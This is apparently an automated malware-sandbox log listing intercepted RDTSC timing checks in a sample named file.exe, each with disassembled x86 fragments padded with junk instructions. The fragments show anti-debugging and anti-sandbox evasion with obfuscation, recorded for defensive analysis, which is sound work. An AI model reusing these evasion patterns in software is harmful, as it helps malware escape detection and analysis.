Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A7CA2 second address: 9A7CA7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A7CA7 second address: 9A7CAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A7CAD second address: 9A7CCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62C0F46586h 0x00000009 popad 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B04BE second address: 9B04C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B04C2 second address: 9B04C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B04C8 second address: 9B0512 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jns 00007F62C0B58F76h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jmp 00007F62C0B58F87h 0x00000016 popad 0x00000017 jmp 00007F62C0B58F87h 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f push ebx 0x00000020 pushad 0x00000021 popad 0x00000022 pop ebx 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B0512 second address: 9B0525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F62C0F46576h 0x0000000a push edx 0x0000000b pop edx 0x0000000c jnp 00007F62C0F46576h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B0525 second address: 9B0535 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F62C0B58F76h 0x0000000a jo 00007F62C0B58F76h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B0535 second address: 9B053F instructions: 0x00000000 rdtsc 0x00000002 ja 00007F62C0F46576h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AEC1F second address: 9AEC50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F62C0B58F87h 0x0000000b popad 0x0000000c jg 00007F62C0B58F78h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jnp 00007F62C0B58F76h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AEC50 second address: 9AEC79 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62C0F46580h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F62C0F4657Dh 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AEC79 second address: 9AEC7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AF0E9 second address: 9AF0ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AF0ED second address: 9AF10E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F62C0B58F86h 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AF10E second address: 9AF114 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B2961 second address: 9B2972 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 jc 00007F62C0B58F7Eh 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B2972 second address: 9B2976 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B2976 second address: 9B297C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B297C second address: 9B2982 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B2982 second address: 9B2986 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B2986 second address: 9B29B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62C0F46588h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jng 00007F62C0F465A9h 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B4A8F second address: 9B4A99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B4A99 second address: 9B4A9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B4A9F second address: 9B4AA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B4AA8 second address: 9B4ADA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 pop esi 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F62C0F4657Fh 0x00000011 jmp 00007F62C0F4657Fh 0x00000016 jbe 00007F62C0F46589h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B45EE second address: 9B45F3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B45F3 second address: 9B45F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BED9A second address: 9BED9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BED9E second address: 9BEDC2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007F62C0F46576h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F62C0F46586h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BEDC2 second address: 9BEDC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BEDC6 second address: 9BEDD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jns 00007F62C0F46576h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BEDD9 second address: 9BEDE8 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F62C0B58F76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BEDE8 second address: 9BEDF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F62C0F46576h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BEDF3 second address: 9BEDFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F62C0B58F76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BEDFD second address: 9BEE07 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BEE07 second address: 9BEE0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BEE0B second address: 9BEE0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D3228 second address: 9D322C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D322C second address: 9D324E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F62C0F46590h 0x0000000e jg 00007F62C0F4657Eh 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E2B9E second address: 9E2BAE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jp 00007F62C0B58F76h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E2EB0 second address: 9E2EB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E3023 second address: 9E3039 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pop eax 0x0000000c js 00007F62C0B58F7Eh 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E372C second address: 9E3760 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62C0F46584h 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F62C0F46582h 0x00000010 jp 00007F62C0F46576h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E3760 second address: 9E3765 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7B91 second address: 9E7B95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7B95 second address: 9E7B9B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7B9B second address: 9E7BBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F62C0F46576h 0x00000009 jc 00007F62C0F46576h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 pushad 0x00000014 push esi 0x00000015 pushad 0x00000016 popad 0x00000017 pop esi 0x00000018 push eax 0x00000019 push edx 0x0000001a jne 00007F62C0F46576h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7C94 second address: 9E7C98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7E58 second address: 9E7E72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62C0F46586h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7E72 second address: 9E7E87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62C0B58F81h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E81B8 second address: 9E81BD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E958C second address: 9E9591 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E9591 second address: 9E95B4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F62C0F46587h 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E95B4 second address: 9E95C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007F62C0B58F76h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E95C3 second address: 9E95C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E95C7 second address: 9E95CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502057A second address: 50205CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62C0F46589h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F62C0F4657Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F62C0F4657Ch 0x00000019 or ax, B3E8h 0x0000001e jmp 00007F62C0F4657Bh 0x00000023 popfd 0x00000024 movzx esi, di 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50205CC second address: 50205D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50205D2 second address: 50205D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50205D6 second address: 50205DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50205DA second address: 50205F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F62C0F4657Fh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50205F4 second address: 5020619 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62C0B58F89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov esi, edi 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020619 second address: 5020654 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F62C0F4657Eh 0x00000009 or al, 00000008h 0x0000000c jmp 00007F62C0F4657Bh 0x00000011 popfd 0x00000012 mov di, cx 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 pop ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F62C0F46581h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50206FE second address: 5020702 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020702 second address: 5020706 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020706 second address: 502070C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502070C second address: 5020712 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90D017 second address: 90D01B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020E0D second address: 5020E13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020E13 second address: 5020E76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F62C0B58F84h 0x00000011 and ch, 00000078h 0x00000014 jmp 00007F62C0B58F7Bh 0x00000019 popfd 0x0000001a pushfd 0x0000001b jmp 00007F62C0B58F88h 0x00000020 or ecx, 690A70D8h 0x00000026 jmp 00007F62C0B58F7Bh 0x0000002b popfd 0x0000002c popad 0x0000002d push dword ptr [ebp+04h] 0x00000030 pushad 0x00000031 push eax 0x00000032 push edx 0x00000033 push ecx 0x00000034 pop edi 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020E76 second address: 5020EA4 instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dx, 2B9Eh 0x0000000b popad 0x0000000c push dword ptr [ebp+0Ch] 0x0000000f jmp 00007F62C0F46585h 0x00000014 push dword ptr [ebp+08h] 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a movsx edx, ax 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020EC5 second address: 5020EC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020EC9 second address: 5020ECF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020ECF second address: 5020EE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62C0B58F81h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020EE4 second address: 5020E0D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62C0F46581h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c jmp 00007F62C0F4657Eh 0x00000011 retn 0008h 0x00000014 nop 0x00000015 mov dword ptr [007570C0h], eax 0x0000001a push 004A1310h 0x0000001f mov ecx, dword ptr [007570A8h] 0x00000025 push ecx 0x00000026 call 00007F62C5ADD258h 0x0000002b mov edi, edi 0x0000002d jmp 00007F62C0F4657Bh 0x00000032 xchg eax, ebp 0x00000033 pushad 0x00000034 movzx eax, di 0x00000037 jmp 00007F62C0F46581h 0x0000003c popad 0x0000003d push eax 0x0000003e pushad 0x0000003f mov edx, 39EB3ED2h 0x00000044 push edx 0x00000045 mov edx, ecx 0x00000047 pop ecx 0x00000048 popad 0x00000049 xchg eax, ebp 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d pushad 0x0000004e popad 0x0000004f call 00007F62C0F46588h 0x00000054 pop ecx 0x00000055 popad 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50402F0 second address: 50402F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50402F4 second address: 50402F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50402F8 second address: 50402FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50402FE second address: 504031B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62C0F46589h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504031B second address: 504037B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007F62C0B58F7Ah 0x0000000e mov dword ptr [esp], ebp 0x00000011 pushad 0x00000012 mov cx, 9FCDh 0x00000016 mov esi, 796E6BC9h 0x0000001b popad 0x0000001c mov ebp, esp 0x0000001e pushad 0x0000001f mov dx, si 0x00000022 pushfd 0x00000023 jmp 00007F62C0B58F7Eh 0x00000028 sub si, 1C18h 0x0000002d jmp 00007F62C0B58F7Bh 0x00000032 popfd 0x00000033 popad 0x00000034 xchg eax, ecx 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F62C0B58F85h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504037B second address: 5040381 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040381 second address: 504041C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62C0B58F83h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F62C0B58F89h 0x00000011 xchg eax, ecx 0x00000012 jmp 00007F62C0B58F7Eh 0x00000017 xchg eax, ecx 0x00000018 pushad 0x00000019 mov cl, E3h 0x0000001b mov esi, edi 0x0000001d popad 0x0000001e push eax 0x0000001f jmp 00007F62C0B58F84h 0x00000024 xchg eax, ecx 0x00000025 jmp 00007F62C0B58F80h 0x0000002a push dword ptr [ebp+08h] 0x0000002d pushad 0x0000002e mov di, si 0x00000031 pushfd 0x00000032 jmp 00007F62C0B58F7Ah 0x00000037 sub eax, 5AD00FF8h 0x0000003d jmp 00007F62C0B58F7Bh 0x00000042 popfd 0x00000043 popad 0x00000044 lea eax, dword ptr [ebp-08h] 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504041C second address: 5040430 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, eax 0x00000005 mov ecx, 7C64E33Bh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5040430 second address: 5040436 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50404D5 second address: 50404D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50404D9 second address: 50404DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50404DF second address: 50405A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, ecx 0x00000005 movzx ecx, bx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebp 0x0000000c pushad 0x0000000d mov di, cx 0x00000010 pushfd 0x00000011 jmp 00007F62C0F4657Ah 0x00000016 or ax, 7898h 0x0000001b jmp 00007F62C0F4657Bh 0x00000020 popfd 0x00000021 popad 0x00000022 mov dword ptr [esp], ebp 0x00000025 jmp 00007F62C0F46586h 0x0000002a mov ebp, esp 0x0000002c pushad 0x0000002d pushfd 0x0000002e jmp 00007F62C0F4657Eh 0x00000033 sub al, 00000028h 0x00000036 jmp 00007F62C0F4657Bh 0x0000003b popfd 0x0000003c jmp 00007F62C0F46588h 0x00000041 popad 0x00000042 push 00000000h 0x00000044 pushad 0x00000045 mov bh, ah 0x00000047 jmp 00007F62C0F46583h 0x0000004c popad 0x0000004d push 00000000h 0x0000004f pushad 0x00000050 mov ebx, ecx 0x00000052 mov si, 51E7h 0x00000056 popad 0x00000057 push dword ptr [ebp+1Ch] 0x0000005a push eax 0x0000005b push edx 0x0000005c jmp 00007F62C0F46589h 0x00000061 rdtsc
